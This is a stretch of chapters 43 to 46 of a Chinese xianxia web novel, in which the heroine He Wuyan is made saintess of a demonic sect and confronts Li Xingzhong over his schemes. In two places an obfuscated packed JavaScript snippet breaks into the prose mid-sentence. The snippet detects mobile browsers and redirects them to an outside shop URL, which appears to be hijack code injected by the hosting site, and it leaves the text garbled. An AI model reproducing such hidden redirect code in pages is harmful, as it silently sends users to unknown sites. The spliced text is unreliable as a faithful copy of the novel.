何无盐被呛得火气上涌，正准备骂回去，却看到李星中的身影。他神色焦急，好像想跟她说点什么。 李星中在这里……那花辞树呢？ 正这么想着，突然听闻：“拿命来！” 花辞树一声爆喝！ 43. 立地成圣 叮！ 叮！ 叮！ 三道看不清形制的暗器飞来。 招式虽已起，但其来势汹汹，花辞树不得不分身应对。转身，侧首，以掌击之。等她回过神来，看见花辞树嘴里叼着一块玉牌。 李星中赶到她跟前：“你怎么样？” 何无盐摇摇头：“我没事。” 李星中道：“花右使修炼血浮屠功，刚才竟是放出一半的血来，追到你后瞬间将真身切换过去。我半路才察觉，赶出来追你。你没事就好。” “三童五老已在殿中！”白慕圣大喊，“请右使进殿！” 花辞树拿下玉牌，恶狠狠地看向他，走进殿中，在主位坐下了。 如此，她和李星中也跟着走进去。 有三个人已在殿中。 左边的男子上半身赤裸，围着一条不大不小的金蟒。仅蟒看见她进来，便开始上下大量她，对着她嘶嘶地吐舌头。这就是金花飞蚺江胜燕了。他的旁边，是一五大三粗的大汉，虬髯乱发，块头也很大。依稀看得出修行时年纪便已不小，大概当年也是一个美男子。 再看右边，一名女子穿着大量银饰，稍微动作，便发出叮叮的碰撞之声，甚为动听。再仔细看这女子，极为妖冶，美的动人心魄，即使是何无盐也忍不住要多看上两眼。稀世美人便是如此吧。 想来这几位应该是紫旭教长老。那三童呢？ 虬髯乱发大汉最先沉不住气：“小白脸，老子睡得正香呢，把长老都叫过来作甚？” 妖冶的女子笑了一下，似花儿突然绽放了一般，煞为好看：“哭魂幡，你这话不对，这不，鬼长老还没到呢。” “那个人不人鬼不鬼的玩意儿还是别来了。每次见到都给格老子吓得，阴森森的。”虬髯乱发男子说。 金花飞蚺道：“他不来也不影响什么。白长老，将我们叫到此处，是找到教主的踪迹了？” “非也。” “我看你活腻了是不是？”哭魂幡吹胡子瞪眼地骂道，“小东西还使唤起老子来了。” “哎哟，哭魂幡，你别急呀，说不定有什么别的事呢。” 金花飞蚺江胜燕听了此话，皱了皱眉，“若没别的事，我就先走了。” “江长老留步。”白慕圣躬身，“紫旭教圣女在此，今日来，便是想请在座诸位做个见证。” 此言一出，场内人看了看他，又看了看她。 哭魂幡睁大了眼睛，“圣女？什么圣女？刚刚来了个魔子，现在又来个圣女。我看明天还能来个姥姥，后天再来个姥爷，这一家子都齐全了才好。” 金蟒从江胜燕身上下来，嘶嘶索索地靠近了何无盐，吓得她心脏快要骤停，赶紧往一旁避让。只听他道，“就这个女子？白长老，你莫不是失心疯了。” 旁边的妖冶女子没再说话，看着何无盐的眼神倒是很复杂。她一时竟看不懂。 “是与不是，还要请三圣童定夺。”白慕圣丝毫不让，“三圣童侍奉过十五代圣女，必不会出错。” 花辞树立马道，“白长老年纪轻轻能坐到今天这个位置，实属不易。”意味颇深地看了白慕圣一眼，“只是，年纪太轻，经验颇为不足也在情理之中。如今，他将一个来路不明之人错认成圣女，惊动了三圣童的大驾，还请三圣童和众长老不要见怪，原谅则个。” 白慕圣立刻做了一番铿锵有力的发言，“右使大人，如此重大的事，我绝不会弄错的，您放心好了。百年来，我教圣女传承不再，教众因此苦不堪言。为此我苦苦寻找，又到各处收集典籍，就是为了寻找圣女的线索。若今日是我弄错了，让诸位白跑了这么一趟，那我愿意以死谢罪。” 魔教怎么天天都死啊死的，命难道有很多条吗？ 说着白慕圣还偷偷跟李星中对了个眼神——他俩竟然是早有打算？ 有人在戳她。 “圣女？” “圣女？” “圣女？” 三声齐发，宛若一人。循声望去，原来还有三个童子，只到她的膝盖那么高，所以刚才并未瞧见。 三个小孩围住她，分别抱住她的腿、拉着她的手闻来闻去，还有一个在她身后，戳着她的腿肚子。 他们圆滚滚的大眼睛里全是好奇。 甚至还把吃进嘴里的手指伸向了她。 ……她仿佛被钉在了原地…… 她最不擅长应对的便是小孩。尤其是这么幼小的孩子。 这难道就是三童？她本以为是个混世魔王，三童只是称号、或者排序的数字罢了；没想到真的是三个，看起来都还智慧未开……说出去谁会信？ 更别说刚才魔教众人对他们恭敬的态度。 她勉强从自己的震惊中回过神来，发现三童对刚才这几人这一番口舌毫无反应，若无旁人地研究着她。 他们周身开始发出七彩轮转的光芒，念着听不懂的咒语，缓缓地飘到了半空中，绕着她。脚底下，出现藤树缠绕的花纹阵法，忽明忽暗，然后一波一波地向外扩散。 她听到来自丹田的空洞发出细微的呼喊。 枝蔓生长出来。最开始只是一只嫩芽，悄悄地探了个头。而后它迅速地抽条，拔地而起，向空中展开的双手变得粗壮有力，甚至占满了整个偏殿，顶破了偏殿的屋顶。 半柱香的功夫过去了。 三道光芒“唰”地一下飞进她的体内。 “圣女！” “圣女！” “圣女！” 三童欢天喜地，围着她手舞足蹈。 好了，这个圣女，她是做也得做，不做也得做。 偏殿已恢复了正常。原来刚才只是一场幻觉。众人傻眼了。 “还真他妈是圣女啊？”哭魂幡一脸不可置信。 “就是，什么便宜圣女，随便捡个人回来都能做我教圣女了吗？”妖冶女子突然对她发难，“我可不认。” “九音娘子，对圣女尊讳不可放肆。”金花飞蚺道。 “哼。江长老，你看不出来吗？多事之秋，有人要趁机兴风作浪啊。”九阴娘子自是不服气，“白长老，这圣女是你带回来的，背地里不知是做了什么手脚？你不妨告知我听听，说不定他日，我也能做圣女。” “九音娘子，还请慎言。人虽然是我带回来的，可刚才你也瞧见了，三圣童已由仪式确认过，此女是我教圣女无疑。你不相信我，难道还不相信三圣童吗？” “三圣童从立教之初就跟随、侍奉圣女，至今已有千年，还会跟我一起作假哄骗众长老和右使不成？” “众目睽睽之下，谁做得了假？” 九音娘子不吭声了。 此时花辞树的脸色非常难看。“九音娘子担心的也不无道理。此时正是多事之秋，与正道决战在即，而这名女子，似乎正是三青山之人。” 白慕圣道，“右使不必担心。圣女已为我教立下大功。” “哦？”花辞树挑眉。“此话怎讲？” “圣女为我教立下的第一功，便是攻下这三青山。” 她心中大惊。 只听九音娘子道，“三青山是在右使带领之下才被攻克，白长老何出此言？”这也是众人的心声。 “敢问九音娘子，三青山是如何被攻克的？” “清一门弟子安在之中青篱藤毒后，被炼为傀儡，画下传送阵法，我教才得以突破层层结界和护山大阵，杀三青山众人一个措手不及。” “不错，而你可知安在之为何能被炼化为傀儡？” “难道……” “正是圣女出手。安在之所中青篱藤毒乃是历代圣女的本命藤 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“这是天意！我教大业即将完成，才能同时拥有两位显圣！此乃吉兆！大吉啊！”众人听闻，精神似乎也为之一振。 只有何无盐不在这个氛围中。她迷惑地看向白慕圣，又看向李星中。 而李星中眼神湿雾雾的，看不清楚。 “这第三功，圣女为我教除去了月左使！” “什么？！” “月左使竟然？” “月左使离开我教已久，私底下已生叛心。” 金花飞蚺道，“今天真是有意思。白长老，众人皆知你凭借花右使保举才得以居长老之位，现在竟敢攀扯月左使，胆子真是不小啊。” “我自然是有证据。进来吧。”白慕圣拍拍手。 一个半张脸带着银色面具的男子缓缓步入殿中。 竟然是……叶下珠？！ “你说说看，你是谁？”白慕圣问。 “花右使，各位长老，我乃叶下珠，在圣教时，常常跟随月左使，目睹各位长老的风采。” “大家可还记得此人？”白慕圣问。 “嗯，似乎确实是常伴月左使身侧的。”九音娘子道。 “不错，老子也记得。”哭魂幡补充。 “那月左使离开圣教期间，都做了什么？” “月左使本侍奉云教主左右，云教主死后，他便寻了个由头离开圣教，自己创立了月亮城。” “他创立月亮城，意欲何为？” “他说，云教主已死，圣教之事与他再无关系，他要创立一座远离世俗纷争、没有痛苦的城。” 既是圣教人，死为圣教魂，怎么可能脱离圣教呢？ 众人心道，怪不得他此去经年，再无任何消息传来。 “那他在月亮城之内，又做了什么事？” “自立为神，利用月亮岩的特性试图通天彻地，再创时空传送阵法。”叶下珠答。“不仅如此，他还在暗暗研究能对抗我紫旭教的宝物。” “这等猖狂之行为，却不禀报现任教主李星坠，如何不是叛教之举、叛教之人？！”白慕圣不等众人言语，又道： “乐生圣女察觉月左使的背叛之心，降世月亮城，毁灭了全城！我亲临月亮城，才发现此等圣迹！” 月亮城的神谕此时又回响在她的耳边，“天外来客，神主显身”……难道月亮城的毁灭真的是她导致的？ 不，不对。她不过是导火索，最根本的原因是这个地方本就在崩溃的边缘；而且月左使早在她到月亮城之前就已经失踪了，与她有何关系？ 众人也投来了不解又震惊的目光。 毕竟，凭她现在的实力，确实不可能杀死月左使。甚至在座的各位没一个她能敌得过的。 “这么说来，乐生圣女确实为我教立下不小的功劳。” 44. 琴瑟不调 “乐生圣女确实为我教立下不小的功劳。” 花辞树突然出声。 他的脸色看起来要好多了。 看来……月左使确实是他的死对头。 “不仅如此，圣女还立下了第四功。” “在月亮城不远处，圣女发现了一处地火。地火经年燃烧，产生了各种品类的矿洞，其中高阶玉石不在少数。只是这具体的入口，只有圣女才知道。” 越好的玉石，灵气越精纯，甚至可以不用炼化，直接吸取。直接抢夺灵气符合魔教一贯作风，因此玉石对他们来说更是香饽饽。 只是此方天地自天一老祖创立仙门以来，其中的玉石产地早就被各方势力瓜分，万年来早就挖得一干二净。 现市面流通的玉石多是些下品，质量远远不如从前了。偶尔也有气、质俱佳者现世，但是抢夺那一两块美玉耗费的力气，有时还不如自己修炼来的快，对他们这样的长老来说十分鸡肋。 但现在不同了。 这可是一片□□，里面指不定有什么样的宝贝。 众人刹时都有些蠢蠢欲动。 “好好好。”花辞树松了口，笑声爽朗起来。“乐生圣女立下此四等大功，可谓是前无古人，后无来者。圣教自然不应该亏待有功之人，令大家寒心。” “老子第一次觉得花右使的话特别有道理。九音娘子，你说呢？”哭魂幡嘿嘿地笑了，露出一口白牙。 九音娘子捂嘴笑了，身上的银饰叮叮当当地撞击，发出悦耳的声音：“那是自然。右使说的话何时错过呢？” 说完，众人突然表情肃穆，躬身行礼。 “青篱藤树，生命之始；往来复去，归于天地。众生悲苦，紫旭尤甚。父母血亲，发我贱籍；结发夫妻，与我离心……孤苦伶仃，身世无依。今得圣女，垂怜教众。生人白骨，活人血肉；幸甚至哉，永铭其德！” “恭迎圣女！” 何无盐就这样成为了乐生圣女。 她这会儿躺进瑶光池，拿起池边的手帕往额头上一放。 这几日发生的事情太多，需理一下头绪。 首先，她到底为什么成为了圣女。 先是李星中叫来白慕圣，白慕圣才叫来三圣童，三圣童才确认的她的地位。那么李星中早就策划好她的“圣女”身份了？白慕圣一路细数她作为圣女的“四大功”的时候，可没少给李星中递眼色。 他看李星中作什么？这一切是不是说明……李星中才是背后主使？ 然后，还有李星中的身份问题。 在偏殿，花辞树意味深长地看着李星中，最后仍然让她住在瑶光楼。美曰其名，“魔子与圣女乃旧相识，圣女的起居日常，就交由魔子负责吧。” 实际上这是以照应之名将她软禁起来，免得玉石矿洞的所在落入他人之手。 她已经试过，踏出这楼一步，镇楼四兽就会化身拦在她面前。凭她现在的实力，根本就无力抵抗，只能乖乖退回楼中。 可是，花辞树为什么这么信任他？ 根据李星中自己的说法，他醒来之时什么也不知道，后来受了刺激想起自己的身份，便打算逃跑，被发现之后才被派去灭掉万镜宗。 那么，李星中才入教半年之多，地位虽然高，但应该是被架空的才对。就像刚刚成为圣女的她这样。 可是事实显然并非如此。尤其是在花、李两个人因为她的生死问题发生了龃龉之后。花辞树仍然愿意信任李星中，把他视作自己人。 他俩必定有很深的渊源。 而且，她发现百宝袋丢了。龙师祖给的烛龙之眼，何无奇给的金罗盘，月宫的望舒羽衣和破魔剑，全在这百宝袋之中。 现在她好像一个手无寸铁的婴儿，任意一个人来都可以把她掐死。 而有机会接触百宝袋却不被她知晓的，只有李星中。 仔细回想一下，她本来只是希望李星中能活着，活着就好，便轻信了他给自己开脱的说辞；可现在看来，他应该并没有自己说的那么无辜。 但话又说回来，李星中似乎并不想害她。否则为什么要大费周章为她治疗？那李星中到底想对她做什么？ 啊……这些事真是搞得头疼。 正撩起水准备搓一把脸，手上却传来温热的触感。 “师姐。” 此时她正着单薄的浴衣泡在水中。 “你来了。” 是李星中。她的手正被很仔细地揉捏着。 “这几日感觉如何？筋脉处的酸痒感还会发作吗？” “不曾发作，已经好多了。多谢李师弟。” “哗啦”一声。他入水了。 “李师弟？”只见李星中已挑眉，坚实有力的手臂将她揽了过来。 紧接着便是额贴着额，鼻贴着鼻。男子温热的气息入侵了她的天地，难以抵挡。 她只能将一只手紧紧地撑在李星中的胸膛上，做最后无声的抗议。 手上传来的心跳多有力啊。她不忍见它归于沉寂……可是……二师兄与何不去师叔的惨状还历历在目……正魔现在已成水火之势。 更不要说魔教想破坏阵法、抽空三青山的灵力给自己作飞升之用。若真是如此，这方时空会崩塌的。 她应该怎么办——这似乎不言而喻。 身上的感觉将她拉回了现实。 李星中这厮近来也是越发大胆了。原先他只是轻轻地揽住她，现在已经自动掐上腰了，身子也与她贴得近极了。另一只手则牢牢地握住她的脖子，仿佛一切尽在他的掌握之中。 热气蒸腾。只是，热的是池水，是身边人，还是她自己？ 不多一会儿，李星中的嘴也贴了上来。酥酥麻麻的，他轻轻啃咬着她的上唇，下唇，甚至伸向了齿尖。腿间……有一个硬物。难道……？！ 她震惊之余，立刻扑腾起来。 两唇分离，像鱼离了水，船离了港。冰天雪地里的人寻到了温暖总是不肯放弃的。 水面发出一阵挣扎的声音。 只见李星中白净的肌肤上，脖子、面颊和耳朵已然通红；他气喘吁吁，胸口起伏不定。 “你、你……！” “师姐……” 李星中发觉她的心情，羞赧之余，又似乎有几分委屈和生气。只见他立刻从水中起身，拿上了衣服没来得及穿便走了。 师父师兄、三青山，圣女与魔子，李星中…… 好了，现在所有的事情都乱成一锅粥了。 泡完温泉，又来到一楼，桌上有李星中为她备好的酒菜，一共四十九道，每餐如此。这应该是她这辈子吃的最丰盛的时候。 她胡乱夹了两口就吃饱了。尔后又来到房间小憩。床榻也都是精致的刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482356|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绣，李星中命人一天一换，独属于他的香味萦绕鼻尖。 怎么到处都是李星中。 她在床上胡思乱想。一会儿见到二师兄的惨状，一会儿又感受到李星中有力的身体，结实的肌肤…… 她想睡觉，可这味道时刻都要勾起她的感受和记忆。 今夜的月似乎也格外的明亮。 不行了。得找个没有李星中的地方静静。她实在是什么也不想思考了，只希望这些事情能短暂地放过她，让她短暂地浮出水面喘口气。 想来想去，她起身来到了藏书的隔间，试图看会儿书来抵消这千思万绪的消磨。 对了！可以问问白慕圣。到底李星中在盘算些什么？尽管他不一定会说实话，但应该多少能得出一些有用的东西来。 正这么想着，她却突然感觉毛骨悚然。林间躲避花辞树时，遇到的那道惊悚的目光再次向她投掷而来。 这目光来自上古的战场，来自死亡的深渊。 在这道目光的注视下，她汗流浃背。压力越来越重，一道被重重的黑雾围绕着的身影终于出现。 这是具盔甲。从头到脚全副武装，除了脸部没有一处是露在外面的。不论是谁，都能看出这具盔甲做工之精美，构造之奇妙。 但是上面浓厚的血迹同样令人咋舌。血迹是很多年前的，早已使盔甲生了锈，散发出很重的味道。 “别过来！”她大声道。 这个东西邪门，或许并不能沟通？此时无物傍身，便操起身边的烛台，对准了面中的位置。 什么都没有。那盔甲之中……并没有人的脸。 但这么说又并不准确。虽然空空如也，但那具盔甲是个活物！ 被她刺了一下，盔甲周围的黑影又更加浓厚，发出了“咕咕咕”的声音。这是嘲笑。她很确定。这具活的盔甲在嘲笑她的弱小！ 她突然就生气了。落到如今的地步，也不是她愿意的！小小的愤怒点燃了她的身体，让她从被恐惧攫住的僵硬中回过神来。 看我三连刺！ 那盔甲终于也拿起手中长枪格挡。 月光下，盔甲的银光相当晃眼。一个不注意，那具盔甲便来到她的身旁，拿起她的手，放进自己空空的面部。 刹时，所有的黑雾尖叫着冲进她的身体。恐惧，痛苦，泪水，不安…… 十一二岁的少年在战场上行走。每走一步，入眼的都是修行之人的尸体。有紫旭教之人，也有三青山之人。密密麻麻的尸体堆积如山。每个人皆双眼怒睁，死不瞑目。 这是百年前的正魔决战！ 而这个少年，正是紫旭教的一员。现在，紫旭教赢了，尽管是惨胜。他们无力打扫战场，也无力将此地据为己有，只能尽可能地再抢一些珍宝。 少年却并不加入这个行列。他看到战场上，紫旭教主云海中神魔般的身影。十步杀一人，千里不留行。少年心中又兴奋，又害怕。 他看到了云海中。 云海中冲着他神秘地笑了，“阿瑜，以后你也可以像我这般厉害。”然后伸手点向他的额间。魔功传给了少年，也传进了她的脑袋。 这是这具盔甲的记忆！这具盔甲，原来竟然是个少年！ “铮！” 金属相撞之声。 “鬼长老，你不应该出现在这里。” 李星中来了。 45. 明月高悬 她睁开眼。 李星中手持玄冥，分开了两人。 她从刚才的记忆中，得知面前这人乃狂战士鬼长老，紫旭教五老之一，是百年前正魔大战中为数不多的幸存者。她师于云海中，少年时已大成，但后来……她修行的时候似乎出现了问题。而云海中大战后一年就自食恶果离开人世，不能再指导她。 于是她就从阿瑜变成了鬼长老。阿瑜之名从此无人再唤。 盔甲还能动，还能发出声音，但人已不知死活。 通过刚才入体的黑气，她很确定，盔甲已经和人融为一体了。这具金属之下，大概只有一些血肉附着。 不过经过她的净化，盔甲的状态似乎好了一些。 “圣、女……”从它的腹中传出断断续续的声音，而且阴气森然。 “入教以来，还是第一次听鬼长老开金口。”李星中一手执剑，一边不忘揶揄，“圣女体弱，受不起惊吓。长老不论是想做什么，都还是请回吧。” “圣女……”鬼长老似乎并未听见李星中的话，仍然向她走来。 “若是如此，不要怪我不客气。”李星中手中剑寒光闪烁，一剑刺进盔甲半寸。 “等一下。”她按住李星中的手。“阿瑜？” 整具盔甲突然在颤抖，金属相撞之声至少持续了半柱香的功夫，甚至她一度以为盔甲要散架了。 “哈哈哈哈……哈哈……你果然是……圣女……” “不错，我就是乐生圣女。” 她缓缓走向这具盔甲，然后手轻轻地按在盔甲的面部。掌心好像有什么破土而出，勾住了盔甲身边的黑雾，然后突然一下！ 黑雾全部被勾进了她的身体！ “何无盐！”她听见李星中大叫。但是来不及了。 她自愿囚在盔甲之中。这副盔甲本是云海中的物品，她特意要来，那时她还为这份礼物开心了很长一段时间。殊不知，这是临别赠礼。 后来，云海中走了，那段时间她便再不愿意脱下这身盔甲，杀人练功，吃饭睡觉，日夜穿着。她要把云海中给她的功法练到极致才行。那样才能靠近这个人。 经年累月地行走，日晒雨淋也不知疲倦。慢慢地，盔甲便脱不下来了。这也很好。没必要再脱下来。她的血肉渐渐凋零，成了模糊的一团。她的意念转而附着在整副盔甲之上，所以也难以再开口。 不知不觉……原来已过去了百年啊。 百年来，痛苦烂在这具盔甲之中，无处言说，也无法言说。她的身体腐烂，再无转圜的余地，可她的意识却承受不了这般痛苦，只能将一切发作在其他生命之上。她变得残忍嗜杀，手段残忍。她不再是她，而是一只鬼。一只吃人的鬼。她的称号由此得来。 何无盐蓦然睁眼，黑雾转白，从她掌中吐出，进入了盔甲之中。 白色的光芒在盔甲之中进进出出，半晌过去。尘埃落定。 白雾被尽数吸入了盔甲之中，而盔甲上的血污和满满铁锈褪去，显得锃光瓦亮，反射出烛火的光芒。 鬼长老往前迈出一步。 李星中立刻挡在了她的面前，以剑尖相对。 只见鬼长老单膝跪地道，“劳圣女相救，阿瑜内心惶恐，不甚感激。” 何无盐道，“不必多礼，鬼长老快快请起。” “若真是感激我，愿你今后好好活着，莫要再如同往常那般自我折磨。”她实在不忍见人遭受如此痛苦。 鬼长老面无表情，也无法有表情。那盔甲之中仍然空无一物，但却似乎沉吟了很久，最终吐出一句，“谨遵圣女之令。” “回去吧。” “是。” 鬼长老走了，也不用再强撑了。她大口喘起气来。 “何无盐，你怎么样？！”李星中语气着急。 “还、还好。”胸口有些闷，好像要烧起来。体内的酸痒感也发作了……但这她不好意思说…… “你为什么要逞强！” “让你遇到危险就用玄冥，你不听；告诉你花辞树在搜山，别出门，你偏偏要出门；自己明明身体有恙，我赶来就是为了保护你，可你却还要去救别人。要是下次再遇到什么危险，我没有赶上怎么办？！”李星中似乎怒气渐深。 “可是……她真的很难受。自愿被囚于盔甲之中时，年岁尚小，她不知道自己在做什么；后来，又已经无力自拔了。”她越说越小声。 “天底下，受难的人多了去了。每个入魔教的人，都有自己的因果。难道你都要这样倾尽所有去救吗？”他一半在烛光下，一半在阴影里，看不清表情。 “这……她陷于痛苦之中，几次向我求助，我不忍心。”那道三番四次出现的恐怖目光，原来只是想确定她的身份，然后发出个人的求救信号罢了。 李星中向她靠近了一步。他脸色有些阴沉，“那你那日在山洞救我，是为何？” 她愣住了。“是我？” 那日，真的是她救了李星中？！ 这样说，白慕圣在偏殿的话并非虚言。魔子由圣女转生……她才是这一切的根源。 可是，血色禁果为什么会在她的身上？难道，真的是在山洞之中做的那个梦？那位拥有一双凤眼的前辈令她吃下的那个果子，就是血色禁果？她的头也有些痛起来。 “何无盐，”她被李星中握住双肩，“我对你来说是谁？救我难道只是因为我是清一门的师弟？只是出于不忍？” 脑袋开始发胀，有些话已听不清，只知道他似乎真的很生气，“我自是不忍你死的。”有力的心在胸腔里跳动着，温温热热的，这是多么美好的事情。 可好像说错了。她依稀看见清俊的脸庞盖上了一层阴影，失去了往昔骄傲的神采。 “我知道了。”便放开了她，转身要离去。 她有些困惑了，轻轻唤了一声，“李星中？”却没得到答复。 他的背影不知怎地，有些孤单。而后眼前模糊了。 她做了好多梦。 梦里，此方天地已经有崩塌的痕迹。除了三青山之外，其他地方也已经开始出现时空的裂缝了。而且裂缝正在慢慢扩大。 她第一次下山跟踪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482357|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魔教之人时，就跌落到了一个这样的裂缝中。 入眼的是那双炯炯有神的凤目。 何无盐与此人生活了不知道多久。时间在这里没有意义，因为它不再流动。而生命，生命在这里是一种惩罚。 所以这美丽的女子疯了。她长时间一个人独处，寻不到任何出路，只能自己跟自己对话，自己回忆过去，甚至篡改了过去的记忆，将这里伪装成她喜欢的样子。满山火红的杜鹃，像是在燃烧一般，燃烧的是她自己。 自从何无盐到这里来，这美丽的女子发疯到一定程度，就会打骂何无盐，有时竟是下死手。可何无盐打也打不过，骂也骂不过，只能为了减轻疼痛拼命修炼。 何无盐自然隐隐察觉出女子修为极高，只是……不似正道。女子清醒时人还不错，甚至会指导自己，只是这样的时候不多。 从她的只言片语里，何无盐得知这名女子叫李星坠。 她最后一次清醒过来，便让何无盐吃下了一个果子，用全部的力量托举何无盐。 好在，没有辜负这份托举。在一片混乱之中，何无盐顺利逃了出来。 何无盐回到此方天地，幸而此时距她下山只有两年。只是穿越时空的冲击力，让她忘记了在这空间里发生的一切。她醒来只发现自己已突破了十年大限，急着回三青山。 然后何无盐又梦到了李星中。 他的心跳停了，不管她怎么给他喂丹药，输灵气都没有用。泪水就不争气地就流下来了。她哭了好久，问他为什么不肯活过来。 李星中：我很生气。 她问：为什么？ 李星中给她一个“你说呢？”的眼神，然后又不说话了。 死得透透的。 她：是因为我在瑶光池拒绝了你吗？当时他也是一言不发就走了。似乎也很生气。 没有回应。 她：那是，我没有听你的话，所以你生气了？ 她还拉了一下李星中的衣角。 好吧，身体跟他的心一样，硬梆梆的。茅坑里的臭石头。 她只有独自思索。 应该就是被拒绝了吧……可，可她应该同意吗？她还没有想好…… 李星中在水中的模样又清晰地浮现出来。 一滴水珠从他的额发滴下。他穿着很薄的里衣，透过池水，白玉的胸膛和红得发粉的皮肤，欲隐欲现。眼窝深，鼻子又高，在雾气中，深邃的眼睛却只显得迷离不清。嘴……唇红齿白。这很好，说明他现在活蹦乱跳，精力充沛，气血充足。 他划开了水，慢慢地走过来了。掐住了她的腰又握住了她的脖子……嗯……他的标准姿势了……行吧，比起死人还是要好一些的…… 低头，就吻了上来。 嘴上温温热热的呢，不知道是不是泉水。 “快吞下。” 什么？吞下？这可是洗澡用的，就算是九天之水她也不喝。 “快吞下！” 她听到有人说。然后睁开了眼。是李星中阴沉的大脸。 他手里端着一碗药。 46. 魔心初现 “再不喝我就硬喂了。” 硬喂？ 天已亮了。晨曦从窗透过来，他坐在床边，清冽的面容隐隐有几分怒气和……淡淡的黑眼圈。 他们本是修行之人，不吃不喝不睡没什么影响。现下他这几分憔悴，怕是连日来为她疏通经脉所致。尤其是昨夜，可能又忙活了好一通。 但憔悴之人，也有憔悴之美。他整个有些恹恹地，脸上发了点汗，更显光彩照人。 那双唇，微微反着光，十分红润。 她吞了一下口水。 嘴里怎么这么苦？应该是已喝下了几口药。 他的嘴……似乎是刚刚沾过水……难道刚才他已经用嘴喂过药了？！ 这怎么行！ 虽然之前也不是没有过……但是她刚刚可是睡着的！趁着她睡着，他不会还做过一些别的奇怪的事吧…… 舌头有点发软，嘴的内壁开始湿润……她想起那气息在唇齿内搅动天地的滋味。 不不不，冷静，要冷静。人可是就坐在她的面前啊！要是他知道自己竟然在想这个…… “喝，我喝。” 便猛地坐起来，抢过碗，捏住鼻子一饮而尽。 苦涩泛滥开。她皱紧了眉头，暗自龇牙咧嘴。但她是大师姐，对，现在她还是圣女，喝药面不改色是最基本的涵养。 “多谢星中师弟。”她故意一本正经道。 李星中冷冷地，“昨天晚上还是李师弟。” 啧。什么意思？ 她顿了顿，沉了口气，“那我得问问你，我的百宝袋呢？” 转折来的猝不及防。 但李星中何许人也？脸皮厚过城墙。只见他仍然是冷着脸，“跟你说了不许出门。” “所以你就拿走了？连问都没有问过我。要不是我机灵，还以为是自己搞丢了呢。” 手掌往他面前一摊，“还我。” “你知道自己现在什么处境吗？说的好听是圣女，其实就是一块唐僧肉。” “那还不是你一手策划的？” “我这是为了保护你。” 果然。她被推上圣女之位，是他的手笔，白慕圣只是被他推出来当枪使。 “保护我？让花辞树好好打我的主意吗？” “你在我这里，花辞树打不了你的主意。” 好了，这说明，他跟魔教的关系绝不是像他之前辩解的那样简单。 四目相对，互不相让。 “你什么时候开始策划这事的。从下山遇到我就开始了吗？还是说更早？” 她冷冷地看着他，“你到底是谁？” 沉默了半晌。 李星中轻笑起来，“师姐，这还用问吗？我是李星中呀。” “你不是李星中。” “那你说，真正的李星中在哪儿？” “我不知道。可能被你杀了，也可能被你绑了起来。” “那我是谁？” “你，你是魔教的人。” “可是，现在你也是魔教的人。” “我……我不是。” “魔教乐生圣女，何无盐。”李星中轻轻吐出这几个字，像是针尖一样刺在她的心上。 “我不是！我乃三青山雅一门何不山首席女弟子何无盐！” “怎么，你想说你是被迫的？”李星中的声音像是有种魔力，打开了一个可怕的盒子，“可月亮城因你而毁；我因你而重生；鬼长老因你而得救，这些都是被迫吗？” “这其中有不少巧合罢了。” “你以为‘天外来客，神主显身’只是一句无所谓的预言吗？那城墙高达千丈，白慕圣都飞不过去，你是如何飞过去的？难道只是因为偶然？” “那日在莲山洞中，我已濒死，是你救了我；在鬼长老面前，你也亲口承认了自己是圣女，不是吗？” “我只是为了让她冷静下来才这么说的。” “可你确实救了她。这真是超出我的想象。我教功法修行起来，进步虽快，副作用却大。最开始只是心神不定，慢慢地，忧、思、悲、恐、虑、惊缠身，直至丧失理智，”他幽幽地道。 “比如紫苏那样的，年纪不大修行却高，掌控不了自己的心性，一点情爱之事就走向了自毁；再比如鬼长老这样的，就算百年修行，却也已经在崩溃的边缘了。” “你为什么能唤醒鬼长老的心智？” “再说，你以为自己为什么能突破十年大限？” “这一切的一切，都是因为你身怀血色禁果，因为你就是紫旭教圣女。” “我教功法与青篱藤树关系密切，两者相辅相成，只有承袭圣树一脉的圣女才能解决这个问题。” 一席话毕，她感觉脑子乱极了。 月亮城，李星中，鬼长老，都是以她为因招来的果？ 那难道安在之和姜卫照也是吗？ “不会的……安师兄和姜师兄……” “是你……”身上的血色禁果激活了他们身上的本命藤。 李星中只说了一半，改了个说法。 “你注定是要成为圣女的。” 但显然，她听明白了这个意思。她有些心烦意乱。 想想，起初她出来是想找李星中让他自证清白的。但现在，李星中不清白不说，就连她也不清白了。可笑的是她竟然还是自动送上门来的。 怎会如此？ “你出去，我要静静。” 李星中闻言，便道，“你好好想想吧。”便起身准备离去。 “等下，百宝袋还我。” 李星中不肯。“百宝袋暂时还是先放在我这里。等你有自保之力了，再还给你。” “还我！”三青山因安在之中毒被攻下，而这竟然是因为她的过错。何无盐此时只想着将师兄弟们先救出来，见李星中不肯归还，就急了眼。 两人动起手来。但此时的何无盐怎是对手呢？ 李星中按住何无盐双手，“你现在这样，出去了又有什么用？” 但她死死挣扎。“我要去救二师兄和师父！他们……他们因我才落到这般田地……放开我！李星中！” “这不怪你！三青山上都是些跟不上时代的老古董，被紫旭教拿下只不过是迟早的事！” “不许你这么说他们！” “百年前一战，三青山精锐尽失，典籍被毁。何不山不想法子重整旗鼓，竟然以为龟缩在大阵之后就可以高枕无忧，守着偌大的灵气，就只用来护山。这岂非痴人说梦？” “放开我李星中！难道你跟魔教这些人都是一伙儿的！” 李星中神色复杂。 “你也想要护山灵气？！” 